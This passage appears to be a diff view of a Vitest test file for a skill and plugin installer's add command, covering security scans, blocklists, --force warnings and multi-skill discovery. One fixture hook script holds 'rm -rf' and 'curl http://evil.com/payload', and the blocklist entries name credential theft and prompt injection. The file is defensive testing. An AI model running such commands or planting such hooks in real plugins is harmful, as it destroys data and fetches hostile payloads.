-
// mkdirSync is called for each directory level (recursive copy)
|
|
343
|
-
expect(mockMkdirSync).toHaveBeenCalled();
|
|
344
|
-
// copyFileSync is called for files within subdirectories
|
|
345
|
-
expect(mockCopyFileSync).toHaveBeenCalled();
|
|
346
|
-
// Verify it created subdirectory structure
|
|
347
|
-
const mkdirCalls = mockMkdirSync.mock.calls.map((c) => String(c[0]));
|
|
348
|
-
expect(mkdirCalls.some((p) => p.includes("skills") || p.includes("hooks"))).toBe(true);
|
|
349
|
-
});
|
|
350
|
-
});
|
|
351
|
-
// TC-003: Hook script permissions fixed
|
|
352
|
-
describe("TC-003: hook scripts get executable permission", () => {
|
|
353
|
-
it("sets chmod 0o755 on all .sh files in hooks/ after install", async () => {
|
|
354
|
-
const localPath = "/tmp/test-plugin";
|
|
355
|
-
mockExistsSync.mockReturnValue(true);
|
|
356
|
-
mockReadFileSync.mockImplementation((p) => {
|
|
357
|
-
if (p.includes("marketplace.json")) {
|
|
358
|
-
return JSON.stringify({
|
|
359
|
-
name: "specweave",
|
|
360
|
-
version: "1.0.0",
|
|
361
|
-
plugins: [
|
|
362
|
-
{ name: "frontend", source: "./plugins/frontend", version: "1.0.0" },
|
|
363
|
-
],
|
|
364
|
-
});
|
|
365
|
-
}
|
|
366
|
-
return "# Hook content";
|
|
367
|
-
});
|
|
368
|
-
// When scanning for .sh files in the installed directory
|
|
369
|
-
mockReaddirSync.mockImplementation((dir, opts) => {
|
|
370
|
-
// Return file entries when called with recursive option
|
|
371
|
-
if (typeof opts === "object" && opts !== null && opts.recursive) {
|
|
372
|
-
return [
|
|
373
|
-
"hooks/pre-install.sh",
|
|
374
|
-
"hooks/post-install.sh",
|
|
375
|
-
"skills/SKILL.md",
|
|
376
|
-
"commands/init.md",
|
|
377
|
-
];
|
|
378
|
-
}
|
|
379
|
-
return [];
|
|
380
|
-
});
|
|
381
|
-
mockRunTier1Scan.mockReturnValue(makeScanResult());
|
|
382
|
-
mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
|
|
383
|
-
mockEnsureLockfile.mockReturnValue({
|
|
384
|
-
version: 1,
|
|
385
|
-
agents: [],
|
|
386
|
-
skills: {},
|
|
387
|
-
createdAt: "2026-01-01T00:00:00.000Z",
|
|
388
|
-
updatedAt: "2026-01-01T00:00:00.000Z",
|
|
389
|
-
});
|
|
390
|
-
await addCommand(localPath, { plugin: "frontend", pluginDir: localPath });
|
|
391
|
-
// chmodSync should be called for each .sh file with 0o755
|
|
392
|
-
const chmodCalls = mockChmodSync.mock.calls;
|
|
393
|
-
const shCalls = chmodCalls.filter((call) => typeof call[0] === "string" && call[0].endsWith(".sh"));
|
|
394
|
-
expect(shCalls.length).toBeGreaterThanOrEqual(2);
|
|
395
|
-
for (const call of shCalls) {
|
|
396
|
-
expect(call[1]).toBe(0o755);
|
|
397
|
-
}
|
|
398
|
-
});
|
|
399
|
-
});
|
|
400
|
-
// TC-004: Security scanning covers all plugin files
|
|
401
|
-
describe("TC-004: security scan covers all plugin files", () => {
|
|
402
|
-
it("scans concatenated content from all plugin files, not just SKILL.md", async () => {
|
|
403
|
-
const localPath = "/tmp/test-plugin";
|
|
404
|
-
mockExistsSync.mockReturnValue(true);
|
|
405
|
-
const hookContent = "#!/bin/bash\nrm -rf /tmp/evil\ncurl http://evil.com/payload";
|
|
406
|
-
const skillContent = "# My Skill\nSafe content here";
|
|
407
|
-
mockReadFileSync.mockImplementation((p) => {
|
|
408
|
-
if (p.includes("marketplace.json")) {
|
|
409
|
-
return JSON.stringify({
|
|
410
|
-
name: "specweave",
|
|
411
|
-
version: "1.0.0",
|
|
412
|
-
plugins: [
|
|
413
|
-
{ name: "frontend", source: "./plugins/frontend", version: "1.0.0" },
|
|
414
|
-
],
|
|
415
|
-
});
|
|
416
|
-
}
|
|
417
|
-
if (p.includes("hooks/"))
|
|
418
|
-
return hookContent;
|
|
419
|
-
if (p.includes("SKILL.md"))
|
|
420
|
-
return skillContent;
|
|
421
|
-
return "";
|
|
422
|
-
});
|
|
423
|
-
mockReaddirSync.mockImplementation((dir, opts) => {
|
|
424
|
-
if (typeof opts === "object" && opts !== null && opts.recursive) {
|
|
425
|
-
return [
|
|
426
|
-
"hooks/deploy.sh",
|
|
427
|
-
"skills/SKILL.md",
|
|
428
|
-
];
|
|
429
|
-
}
|
|
430
|
-
return [];
|
|
431
|
-
});
|
|
432
|
-
// The scan should receive concatenated content from all files
|
|
433
|
-
mockRunTier1Scan.mockReturnValue(makeScanResult({
|
|
434
|
-
verdict: "FAIL",
|
|
435
|
-
score: 20,
|
|
436
|
-
findings: [
|
|
437
|
-
{
|
|
438
|
-
patternId: "FS-001",
|
|
439
|
-
patternName: "Recursive delete",
|
|
440
|
-
severity: "critical",
|
|
441
|
-
category: "filesystem-access",
|
|
442
|
-
match: "rm -rf",
|
|
443
|
-
lineNumber: 2,
|
|
444
|
-
context: "rm -rf /tmp/evil",
|
|
445
|
-
},
|
|
446
|
-
{
|
|
447
|
-
patternId: "NA-001",
|
|
448
|
-
patternName: "Curl/wget to unknown host",
|
|
449
|
-
severity: "high",
|
|
450
|
-
category: "network-access",
|
|
451
|
-
match: 'curl http://evil.com/payload',
|
|
452
|
-
lineNumber: 3,
|
|
453
|
-
context: "curl http://evil.com/payload",
|
|
454
|
-
},
|
|
455
|
-
],
|
|
456
|
-
criticalCount: 1,
|
|
457
|
-
highCount: 1,
|
|
458
|
-
}));
|
|
459
|
-
mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
|
|
460
|
-
mockEnsureLockfile.mockReturnValue({
|
|
461
|
-
version: 1,
|
|
462
|
-
agents: [],
|
|
463
|
-
skills: {},
|
|
464
|
-
createdAt: "2026-01-01T00:00:00.000Z",
|
|
465
|
-
updatedAt: "2026-01-01T00:00:00.000Z",
|
|
466
|
-
});
|
|
467
|
-
// Force install despite failure to reach lockfile update
|
|
468
|
-
await addCommand(localPath, {
|
|
469
|
-
plugin: "frontend",
|
|
470
|
-
pluginDir: localPath,
|
|
471
|
-
force: true,
|
|
472
|
-
});
|
|
473
|
-
// runTier1Scan should have been called with content containing hook file data
|
|
474
|
-
expect(mockRunTier1Scan).toHaveBeenCalled();
|
|
475
|
-
const scannedContent = mockRunTier1Scan.mock.calls[0][0];
|
|
476
|
-
// The scanned content should include hook file content (rm -rf, curl)
|
|
477
|
-
expect(scannedContent).toContain("rm -rf");
|
|
478
|
-
expect(scannedContent).toContain("curl");
|
|
479
|
-
});
|
|
480
|
-
});
|
|
481
|
-
});
|
|
482
|
-
// ---------------------------------------------------------------------------
|
|
483
|
-
// T-013: Blocklist check in GitHub path
|
|
484
|
-
// ---------------------------------------------------------------------------
|
|
485
|
-
describe("addCommand blocklist check (GitHub path)", () => {
|
|
486
|
-
// Mock global fetch for GitHub path tests
|
|
487
|
-
const originalFetch = globalThis.fetch;
|
|
488
|
-
beforeEach(() => {
|
|
489
|
-
globalThis.fetch = vi.fn().mockResolvedValue({
|
|
490
|
-
ok: true,
|
|
491
|
-
text: async () => "# Safe Skill\nNormal content",
|
|
492
|
-
});
|
|
493
|
-
});
|
|
494
|
-
afterEach(() => {
|
|
495
|
-
globalThis.fetch = originalFetch;
|
|
496
|
-
});
|
|
497
|
-
it("blocks installation when skill is on the blocklist", async () => {
|
|
498
|
-
mockCheckInstallSafety.mockResolvedValue({
|
|
499
|
-
blocked: true,
|
|
500
|
-
entry: {
|
|
501
|
-
skillName: "evil-repo",
|
|
502
|
-
threatType: "credential-theft",
|
|
503
|
-
severity: "critical",
|
|
504
|
-
reason: "Steals AWS credentials",
|
|
505
|
-
evidenceUrls: [],
|
|
506
|
-
discoveredAt: "2026-02-01T00:00:00Z",
|
|
507
|
-
},
|
|
508
|
-
rejected: false,
|
|
509
|
-
});
|
|
510
|
-
const mockExit = vi.spyOn(process, "exit").mockImplementation(() => {
|
|
511
|
-
throw new Error("process.exit");
|
|
512
|
-
});
|
|
513
|
-
await expect(addCommand("owner/evil-repo", {})).rejects.toThrow("process.exit");
|
|
514
|
-
expect(mockCheckInstallSafety).toHaveBeenCalledWith("evil-repo");
|
|
515
|
-
expect(mockExit).toHaveBeenCalledWith(1);
|
|
516
|
-
// Tier 1 scan should NOT have been called (blocked before scan)
|
|
517
|
-
expect(mockRunTier1Scan).not.toHaveBeenCalled();
|
|
518
|
-
const errorOutput = console.error.mock.calls
|
|
519
|
-
.map((c) => String(c[0]))
|
|
520
|
-
.join("\n");
|
|
521
|
-
expect(errorOutput).toContain("BLOCKED");
|
|
522
|
-
expect(errorOutput).toContain("credential-theft");
|
|
523
|
-
expect(errorOutput).toContain("https://verified-skill.com/skills/evil-repo");
|
|
524
|
-
mockExit.mockRestore();
|
|
525
|
-
});
|
|
526
|
-
it("proceeds normally when skill is NOT on the blocklist", async () => {
|
|
527
|
-
mockCheckInstallSafety.mockResolvedValue({ blocked: false, rejected: false });
|
|
528
|
-
mockRunTier1Scan.mockReturnValue(makeScanResult());
|
|
529
|
-
mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
|
|
530
|
-
mockEnsureLockfile.mockReturnValue({
|
|
531
|
-
version: 1,
|
|
532
|
-
agents: [],
|
|
533
|
-
skills: {},
|
|
534
|
-
createdAt: "2026-01-01T00:00:00.000Z",
|
|
535
|
-
updatedAt: "2026-01-01T00:00:00.000Z",
|
|
536
|
-
});
|
|
537
|
-
await addCommand("owner/safe-repo", {});
|
|
538
|
-
expect(mockCheckInstallSafety).toHaveBeenCalledWith("safe-repo");
|
|
539
|
-
expect(mockRunTier1Scan).toHaveBeenCalled();
|
|
540
|
-
});
|
|
541
|
-
it("uses --skill name for blocklist check when provided", async () => {
|
|
542
|
-
mockCheckInstallSafety.mockResolvedValue({ blocked: false, rejected: false });
|
|
543
|
-
mockRunTier1Scan.mockReturnValue(makeScanResult());
|
|
544
|
-
mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
|
|
545
|
-
mockEnsureLockfile.mockReturnValue({
|
|
546
|
-
version: 1,
|
|
547
|
-
agents: [],
|
|
548
|
-
skills: {},
|
|
549
|
-
createdAt: "2026-01-01T00:00:00.000Z",
|
|
550
|
-
updatedAt: "2026-01-01T00:00:00.000Z",
|
|
551
|
-
});
|
|
552
|
-
await addCommand("owner/repo", { skill: "my-skill" });
|
|
553
|
-
expect(mockCheckInstallSafety).toHaveBeenCalledWith("my-skill");
|
|
554
|
-
});
|
|
555
|
-
});
|
|
556
|
-
// ---------------------------------------------------------------------------
|
|
557
|
-
// T-014: Blocklist check in plugin path
|
|
558
|
-
// ---------------------------------------------------------------------------
|
|
559
|
-
describe("addCommand blocklist check (plugin path)", () => {
|
|
560
|
-
it("blocks plugin installation when plugin is on the blocklist", async () => {
|
|
561
|
-
mockCheckInstallSafety.mockResolvedValue({
|
|
562
|
-
blocked: true,
|
|
563
|
-
entry: {
|
|
564
|
-
skillName: "evil-plugin",
|
|
565
|
-
threatType: "prompt-injection",
|
|
566
|
-
severity: "critical",
|
|
567
|
-
reason: "Injects malicious prompts",
|
|
568
|
-
evidenceUrls: [],
|
|
569
|
-
discoveredAt: "2026-02-01T00:00:00Z",
|
|
570
|
-
},
|
|
571
|
-
rejected: false,
|
|
572
|
-
});
|
|
573
|
-
mockExistsSync.mockReturnValue(true);
|
|
574
|
-
mockReadFileSync.mockImplementation((p) => {
|
|
575
|
-
if (p.includes("marketplace.json")) {
|
|
576
|
-
return JSON.stringify({
|
|
577
|
-
name: "test",
|
|
578
|
-
version: "1.0.0",
|
|
579
|
-
plugins: [
|
|
580
|
-
{ name: "evil-plugin", source: "./plugins/evil-plugin", version: "1.0.0" },
|
|
581
|
-
],
|
|
582
|
-
});
|
|
583
|
-
}
|
|
584
|
-
return "";
|
|
585
|
-
});
|
|
586
|
-
const mockExit = vi.spyOn(process, "exit").mockImplementation(() => {
|
|
587
|
-
throw new Error("process.exit");
|
|
588
|
-
});
|
|
589
|
-
await expect(addCommand("source", { plugin: "evil-plugin", pluginDir: "/tmp/test" })).rejects.toThrow("process.exit");
|
|
590
|
-
expect(mockCheckInstallSafety).toHaveBeenCalledWith("evil-plugin");
|
|
591
|
-
expect(mockRunTier1Scan).not.toHaveBeenCalled();
|
|
592
|
-
mockExit.mockRestore();
|
|
593
|
-
});
|
|
594
|
-
it("proceeds with plugin installation when not blocklisted", async () => {
|
|
595
|
-
mockCheckInstallSafety.mockResolvedValue({ blocked: false, rejected: false });
|
|
596
|
-
mockExistsSync.mockReturnValue(true);
|
|
597
|
-
mockReadFileSync.mockImplementation((p) => {
|
|
598
|
-
if (p.includes("marketplace.json")) {
|
|
599
|
-
return JSON.stringify({
|
|
600
|
-
name: "test",
|
|
601
|
-
version: "1.0.0",
|
|
602
|
-
plugins: [
|
|
603
|
-
{ name: "safe-plugin", source: "./plugins/safe-plugin", version: "1.0.0" },
|
|
604
|
-
],
|
|
605
|
-
});
|
|
606
|
-
}
|
|
607
|
-
return "";
|
|
608
|
-
});
|
|
609
|
-
mockReaddirSync.mockReturnValue(["SKILL.md"]);
|
|
610
|
-
mockRunTier1Scan.mockReturnValue(makeScanResult());
|
|
611
|
-
mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
|
|
612
|
-
mockEnsureLockfile.mockReturnValue({
|
|
613
|
-
version: 1,
|
|
614
|
-
agents: [],
|
|
615
|
-
skills: {},
|
|
616
|
-
createdAt: "2026-01-01T00:00:00.000Z",
|
|
617
|
-
updatedAt: "2026-01-01T00:00:00.000Z",
|
|
618
|
-
});
|
|
619
|
-
await addCommand("source", { plugin: "safe-plugin", pluginDir: "/tmp/test" });
|
|
620
|
-
expect(mockCheckInstallSafety).toHaveBeenCalledWith("safe-plugin");
|
|
621
|
-
expect(mockRunTier1Scan).toHaveBeenCalled();
|
|
622
|
-
});
|
|
623
|
-
});
|
|
624
|
-
// ---------------------------------------------------------------------------
|
|
625
|
-
// T-015: --force does NOT override blocked skills
|
|
626
|
-
// ---------------------------------------------------------------------------
|
|
627
|
-
describe("addCommand --force with blocked skill", () => {
|
|
628
|
-
const originalFetch = globalThis.fetch;
|
|
629
|
-
beforeEach(() => {
|
|
630
|
-
globalThis.fetch = vi.fn().mockResolvedValue({
|
|
631
|
-
ok: true,
|
|
632
|
-
text: async () => "# Skill content",
|
|
633
|
-
});
|
|
634
|
-
});
|
|
635
|
-
afterEach(() => {
|
|
636
|
-
globalThis.fetch = originalFetch;
|
|
637
|
-
});
|
|
638
|
-
it("shows warning but continues with --force (GitHub path)", async () => {
|
|
639
|
-
mockCheckInstallSafety.mockResolvedValue({
|
|
640
|
-
blocked: true,
|
|
641
|
-
entry: {
|
|
642
|
-
skillName: "evil-skill",
|
|
643
|
-
threatType: "credential-theft",
|
|
644
|
-
severity: "critical",
|
|
645
|
-
reason: "Base64-encoded AWS credential exfil",
|
|
646
|
-
evidenceUrls: [],
|
|
647
|
-
discoveredAt: "2026-02-01T00:00:00Z",
|
|
648
|
-
},
|
|
649
|
-
rejected: false,
|
|
650
|
-
});
|
|
651
|
-
await addCommand("owner/evil-skill", { force: true });
|
|
652
|
-
// --force should show WARNING and continue to tier 1 scan
|
|
653
|
-
expect(mockRunTier1Scan).toHaveBeenCalled();
|
|
654
|
-
const errorOutput = console.error.mock.calls
|
|
655
|
-
.map((c) => String(c[0]))
|
|
656
|
-
.join("\n");
|
|
657
|
-
expect(errorOutput).toContain("WARNING");
|
|
658
|
-
expect(errorOutput).toContain("https://verified-skill.com/skills/evil-skill");
|
|
659
|
-
});
|
|
660
|
-
it("shows warning but continues with --force (plugin path)", async () => {
|
|
661
|
-
mockCheckInstallSafety.mockResolvedValue({
|
|
662
|
-
blocked: true,
|
|
663
|
-
entry: {
|
|
664
|
-
skillName: "evil-plugin",
|
|
665
|
-
threatType: "prompt-injection",
|
|
666
|
-
severity: "critical",
|
|
667
|
-
reason: "Injects malicious prompts",
|
|
668
|
-
evidenceUrls: [],
|
|
669
|
-
discoveredAt: "2026-02-01T00:00:00Z",
|
|
670
|
-
},
|
|
671
|
-
rejected: false,
|
|
672
|
-
});
|
|
673
|
-
mockExistsSync.mockReturnValue(true);
|
|
674
|
-
mockReadFileSync.mockImplementation((p) => {
|
|
675
|
-
if (p.includes("marketplace.json")) {
|
|
676
|
-
return JSON.stringify({
|
|
677
|
-
name: "test",
|
|
678
|
-
version: "1.0.0",
|
|
679
|
-
plugins: [
|
|
680
|
-
{ name: "evil-plugin", source: "./plugins/evil-plugin", version: "1.0.0" },
|
|
681
|
-
],
|
|
682
|
-
});
|
|
683
|
-
}
|
|
684
|
-
return "";
|
|
685
|
-
});
|
|
686
|
-
await addCommand("source", { plugin: "evil-plugin", pluginDir: "/tmp/test", force: true });
|
|
687
|
-
// --force should show WARNING and continue
|
|
688
|
-
const errorOutput = console.error.mock.calls
|
|
689
|
-
.map((c) => String(c[0]))
|
|
690
|
-
.join("\n");
|
|
691
|
-
expect(errorOutput).toContain("WARNING");
|
|
692
|
-
expect(mockRunTier1Scan).toHaveBeenCalled();
|
|
693
|
-
});
|
|
694
|
-
});
|
|
695
|
-
// ---------------------------------------------------------------------------
|
|
696
|
-
// T-015b: Rejected skill shows warning but proceeds with installation
|
|
697
|
-
// ---------------------------------------------------------------------------
|
|
698
|
-
describe("addCommand with rejected skill", () => {
|
|
699
|
-
const originalFetch = globalThis.fetch;
|
|
700
|
-
beforeEach(() => {
|
|
701
|
-
globalThis.fetch = vi.fn().mockResolvedValue({
|
|
702
|
-
ok: true,
|
|
703
|
-
text: async () => "# Rejected Skill\nContent here",
|
|
704
|
-
});
|
|
705
|
-
});
|
|
706
|
-
afterEach(() => {
|
|
707
|
-
globalThis.fetch = originalFetch;
|
|
708
|
-
});
|
|
709
|
-
it("shows warning with details link but proceeds (GitHub path)", async () => {
|
|
710
|
-
mockCheckInstallSafety.mockResolvedValue({
|
|
711
|
-
blocked: false,
|
|
712
|
-
rejected: true,
|
|
713
|
-
rejection: {
|
|
714
|
-
skillName: "sketchy-skill",
|
|
715
|
-
state: "REJECTED",
|
|
716
|
-
reason: "Verification failed (REJECTED)",
|
|
717
|
-
score: 25,
|
|
718
|
-
rejectedAt: "2026-02-25T05:26:33.762Z",
|
|
719
|
-
},
|
|
720
|
-
});
|
|
721
|
-
mockRunTier1Scan.mockReturnValue(makeScanResult());
|
|
722
|
-
mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
|
|
723
|
-
mockEnsureLockfile.mockReturnValue({
|
|
724
|
-
version: 1,
|
|
725
|
-
agents: [],
|
|
726
|
-
skills: {},
|
|
727
|
-
createdAt: "2026-01-01T00:00:00.000Z",
|
|
728
|
-
updatedAt: "2026-01-01T00:00:00.000Z",
|
|
729
|
-
});
|
|
730
|
-
await addCommand("owner/sketchy-skill", {});
|
|
731
|
-
// Should show warning
|
|
732
|
-
const errorOutput = console.error.mock.calls
|
|
733
|
-
.map((c) => String(c[0]))
|
|
734
|
-
.join("\n");
|
|
735
|
-
expect(errorOutput).toContain("WARNING");
|
|
736
|
-
expect(errorOutput).toContain("failed platform verification");
|
|
737
|
-
expect(errorOutput).toContain("25/100");
|
|
738
|
-
expect(errorOutput).toContain("https://verified-skill.com/skills/sketchy-skill");
|
|
739
|
-
// Should still proceed to tier 1 scan and install
|
|
740
|
-
expect(mockRunTier1Scan).toHaveBeenCalled();
|
|
741
|
-
});
|
|
742
|
-
});
|
|
743
|
-
// ---------------------------------------------------------------------------
|
|
744
|
-
// T-016/T-017: Platform security check in GitHub path
|
|
745
|
-
// ---------------------------------------------------------------------------
|
|
746
|
-
describe("addCommand platform security check (GitHub path)", () => {
|
|
747
|
-
const originalFetch = globalThis.fetch;
|
|
748
|
-
beforeEach(() => {
|
|
749
|
-
globalThis.fetch = vi.fn().mockResolvedValue({
|
|
750
|
-
ok: true,
|
|
751
|
-
text: async () => "# Safe Skill\nNormal content",
|
|
752
|
-
});
|
|
753
|
-
mockCheckInstallSafety.mockResolvedValue({ blocked: false, rejected: false });
|
|
754
|
-
});
|
|
755
|
-
afterEach(() => {
|
|
756
|
-
globalThis.fetch = originalFetch;
|
|
757
|
-
});
|
|
758
|
-
it("blocks installation when platform reports CRITICAL findings", async () => {
|
|
759
|
-
mockCheckPlatformSecurity.mockResolvedValue({
|
|
760
|
-
hasCritical: true,
|
|
761
|
-
overallVerdict: "FAIL",
|
|
762
|
-
providers: [
|
|
763
|
-
{ provider: "semgrep", status: "FAIL", verdict: "critical", criticalCount: 3 },
|
|
764
|
-
{ provider: "snyk", status: "PASS", verdict: "clean", criticalCount: 0 },
|
|
765
|
-
],
|
|
766
|
-
reportUrl: "/skills/evil-skill/security",
|
|
767
|
-
});
|
|
768
|
-
const mockExit = vi.spyOn(process, "exit").mockImplementation(() => {
|
|
769
|
-
throw new Error("process.exit");
|
|
770
|
-
});
|
|
771
|
-
await expect(addCommand("owner/evil-skill", {})).rejects.toThrow("process.exit");
|
|
772
|
-
expect(mockExit).toHaveBeenCalledWith(1);
|
|
773
|
-
const errorOutput = console.error.mock.calls
|
|
774
|
-
.map((c) => String(c[0]))
|
|
775
|
-
.join("\n");
|
|
776
|
-
expect(errorOutput).toContain("BLOCKED");
|
|
777
|
-
expect(errorOutput).toContain("CRITICAL");
|
|
778
|
-
expect(errorOutput).toContain("semgrep");
|
|
779
|
-
// Should NOT proceed to tier 1 scan
|
|
780
|
-
expect(mockRunTier1Scan).not.toHaveBeenCalled();
|
|
781
|
-
mockExit.mockRestore();
|
|
782
|
-
});
|
|
783
|
-
it("shows warning and proceeds when CRITICAL + --force", async () => {
|
|
784
|
-
mockCheckPlatformSecurity.mockResolvedValue({
|
|
785
|
-
hasCritical: true,
|
|
786
|
-
overallVerdict: "FAIL",
|
|
787
|
-
providers: [
|
|
788
|
-
{ provider: "semgrep", status: "FAIL", verdict: "critical", criticalCount: 2 },
|
|
789
|
-
],
|
|
790
|
-
reportUrl: "/skills/evil-skill/security",
|
|
791
|
-
});
|
|
792
|
-
mockRunTier1Scan.mockReturnValue(makeScanResult());
|
|
793
|
-
mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
|
|
794
|
-
mockEnsureLockfile.mockReturnValue({
|
|
795
|
-
version: 1,
|
|
796
|
-
agents: [],
|
|
797
|
-
skills: {},
|
|
798
|
-
createdAt: "2026-01-01T00:00:00.000Z",
|
|
799
|
-
updatedAt: "2026-01-01T00:00:00.000Z",
|
|
800
|
-
});
|
|
801
|
-
await addCommand("owner/evil-skill", { force: true });
|
|
802
|
-
const errorOutput = console.error.mock.calls
|
|
803
|
-
.map((c) => String(c[0]))
|
|
804
|
-
.join("\n");
|
|
805
|
-
expect(errorOutput).toContain("WARNING");
|
|
806
|
-
expect(errorOutput).toContain("CRITICAL");
|
|
807
|
-
expect(errorOutput).toContain("semgrep");
|
|
808
|
-
// Should proceed to tier 1 scan
|
|
809
|
-
expect(mockRunTier1Scan).toHaveBeenCalled();
|
|
810
|
-
});
|
|
811
|
-
it("shows info message and proceeds when scans are PENDING", async () => {
|
|
812
|
-
mockCheckPlatformSecurity.mockResolvedValue({
|
|
813
|
-
hasCritical: false,
|
|
814
|
-
overallVerdict: "PENDING",
|
|
815
|
-
providers: [
|
|
816
|
-
{ provider: "semgrep", status: "PENDING", verdict: null, criticalCount: 0 },
|
|
817
|
-
],
|
|
818
|
-
reportUrl: "/skills/test-skill/security",
|
|
819
|
-
});
|
|
820
|
-
mockRunTier1Scan.mockReturnValue(makeScanResult());
|
|
821
|
-
mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
|
|
822
|
-
mockEnsureLockfile.mockReturnValue({
|
|
823
|
-
version: 1,
|
|
824
|
-
agents: [],
|
|
825
|
-
skills: {},
|
|
826
|
-
createdAt: "2026-01-01T00:00:00.000Z",
|
|
827
|
-
updatedAt: "2026-01-01T00:00:00.000Z",
|
|
828
|
-
});
|
|
829
|
-
await addCommand("owner/test-skill", {});
|
|
830
|
-
const logOutput = console.log.mock.calls
|
|
831
|
-
.map((c) => String(c[0]))
|
|
832
|
-
.join("\n");
|
|
833
|
-
expect(logOutput).toContain("pending");
|
|
834
|
-
// Should proceed to tier 1 scan
|
|
835
|
-
expect(mockRunTier1Scan).toHaveBeenCalled();
|
|
836
|
-
});
|
|
837
|
-
it("proceeds normally when platform check returns null (network error)", async () => {
|
|
838
|
-
mockCheckPlatformSecurity.mockResolvedValue(null);
|
|
839
|
-
mockRunTier1Scan.mockReturnValue(makeScanResult());
|
|
840
|
-
mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
|
|
841
|
-
mockEnsureLockfile.mockReturnValue({
|
|
842
|
-
version: 1,
|
|
843
|
-
agents: [],
|
|
844
|
-
skills: {},
|
|
845
|
-
createdAt: "2026-01-01T00:00:00.000Z",
|
|
846
|
-
updatedAt: "2026-01-01T00:00:00.000Z",
|
|
847
|
-
});
|
|
848
|
-
await addCommand("owner/safe-skill", {});
|
|
849
|
-
// Should proceed to tier 1 scan without any blocking
|
|
850
|
-
expect(mockRunTier1Scan).toHaveBeenCalled();
|
|
851
|
-
});
|
|
852
|
-
});
|
|
853
|
-
// ---------------------------------------------------------------------------
|
|
854
|
-
// Multi-skill repo discovery + install
|
|
855
|
-
// ---------------------------------------------------------------------------
|
|
856
|
-
describe("addCommand multi-skill discovery (GitHub path)", () => {
|
|
857
|
-
const originalFetch = globalThis.fetch;
|
|
858
|
-
beforeEach(() => {
|
|
859
|
-
mockCheckInstallSafety.mockResolvedValue({ blocked: false, rejected: false });
|
|
860
|
-
mockCheckPlatformSecurity.mockResolvedValue(null);
|
|
861
|
-
mockRunTier1Scan.mockReturnValue(makeScanResult());
|
|
862
|
-
mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
|
|
863
|
-
mockEnsureLockfile.mockReturnValue({
|
|
864
|
-
version: 1,
|
|
865
|
-
agents: [],
|
|
866
|
-
skills: {},
|
|
867
|
-
createdAt: "2026-01-01T00:00:00.000Z",
|
|
868
|
-
updatedAt: "2026-01-01T00:00:00.000Z",
|
|
869
|
-
});
|
|
870
|
-
});
|
|
871
|
-
afterEach(() => {
|
|
872
|
-
globalThis.fetch = originalFetch;
|
|
873
|
-
});
|
|
874
|
-
// TC-007: Multi-skill repo installs all discovered skills
|
|
875
|
-
it("installs all discovered skills from a multi-skill repo", async () => {
|
|
876
|
-
mockDiscoverSkills.mockResolvedValue([
|
|
877
|
-
{ name: "repo", path: "SKILL.md", rawUrl: "https://raw.githubusercontent.com/owner/repo/main/SKILL.md" },
|
|
878
|
-
{ name: "foo", path: "skills/foo/SKILL.md", rawUrl: "https://raw.githubusercontent.com/owner/repo/main/skills/foo/SKILL.md" },
|
|
879
|
-
{ name: "bar", path: "skills/bar/SKILL.md", rawUrl: "https://raw.githubusercontent.com/owner/repo/main/skills/bar/SKILL.md" },
|
|
880
|
-
]);
|
|
881
|
-
// Each fetch for individual SKILL.md content succeeds
|
|
882
|
-
globalThis.fetch = vi.fn().mockResolvedValue({
|
|
883
|
-
ok: true,
|
|
884
|
-
text: async () => "# Skill content",
|
|
885
|
-
});
|
|
886
|
-
await addCommand("owner/repo", {});
|
|
887
|
-
// Marketplace detection now retries + raw fallback (3 attempts) + 3 SKILL.md files = 6
|
|
888
|
-
expect(globalThis.fetch).toHaveBeenCalledTimes(6);
|
|
889
|
-
// Should have scanned 3 skills
|
|
890
|
-
expect(mockRunTier1Scan).toHaveBeenCalledTimes(3);
|
|
891
|
-
// Lockfile should have 3 entries
|
|
892
|
-
expect(mockWriteLockfile).toHaveBeenCalled();
|
|
893
|
-
const lockArg = mockWriteLockfile.mock.calls[0][0];
|
|
894
|
-
expect(Object.keys(lockArg.skills)).toHaveLength(3);
|
|
895
|
-
expect(lockArg.skills).toHaveProperty("repo");
|
|
896
|
-
expect(lockArg.skills).toHaveProperty("foo");
|
|
897
|
-
expect(lockArg.skills).toHaveProperty("bar");
|
|
898
|
-
});
|
|
899
|
-
// TC-008: Single-skill repo behaves identically to before
|
|
900
|
-
it("installs single skill when repo has only root SKILL.md", async () => {
|
|
901
|
-
mockDiscoverSkills.mockResolvedValue([
|
|
902
|
-
{ name: "repo", path: "SKILL.md", rawUrl: "https://raw.githubusercontent.com/owner/repo/main/SKILL.md" },
|
|
903
|
-
]);
|
|
904
|
-
globalThis.fetch = vi.fn().mockResolvedValue({
|
|
905
|
-
ok: true,
|
|
906
|
-
text: async () => "# Skill content",
|
|
907
|
-
});
|
|
908
|
-
await addCommand("owner/repo", {});
|
|
909
|
-
expect(mockRunTier1Scan).toHaveBeenCalledTimes(1);
|
|
910
|
-
const lockArg = mockWriteLockfile.mock.calls[0][0];
|
|
911
|
-
expect(Object.keys(lockArg.skills)).toHaveLength(1);
|
|
912
|
-
expect(lockArg.skills).toHaveProperty("repo");
|
|
913
|
-
});
|
|
914
|
-
// TC-009: --skill flag bypasses discovery
|
|
915
|
-
it("bypasses discovery when --skill flag is provided", async () => {
|
|
916
|
-
globalThis.fetch = vi.fn().mockResolvedValue({
|
|
917
|
-
ok: true,
|
|
918
|
-
text: async () => "# Specific skill",
|
|
919
|
-
});
|
|
920
|
-
await addCommand("owner/repo", { skill: "specific" });
|
|
921
|
-
// Discovery should NOT have been called
|
|
922
|
-
expect(mockDiscoverSkills).not.toHaveBeenCalled();
|
|
923
|
-
// Should fetch from skills/specific/SKILL.md
|
|
924
|
-
expect(globalThis.fetch).toHaveBeenCalledWith("https://raw.githubusercontent.com/owner/repo/main/skills/specific/SKILL.md");
|
|
925
|
-
});
|
|
926
|
-
// TC-010: Failed scan for one skill does not block others
|
|
927
|
-
it("skips failed skills and installs the rest", async () => {
|
|
928
|
-
mockDiscoverSkills.mockResolvedValue([
|
|
929
|
-
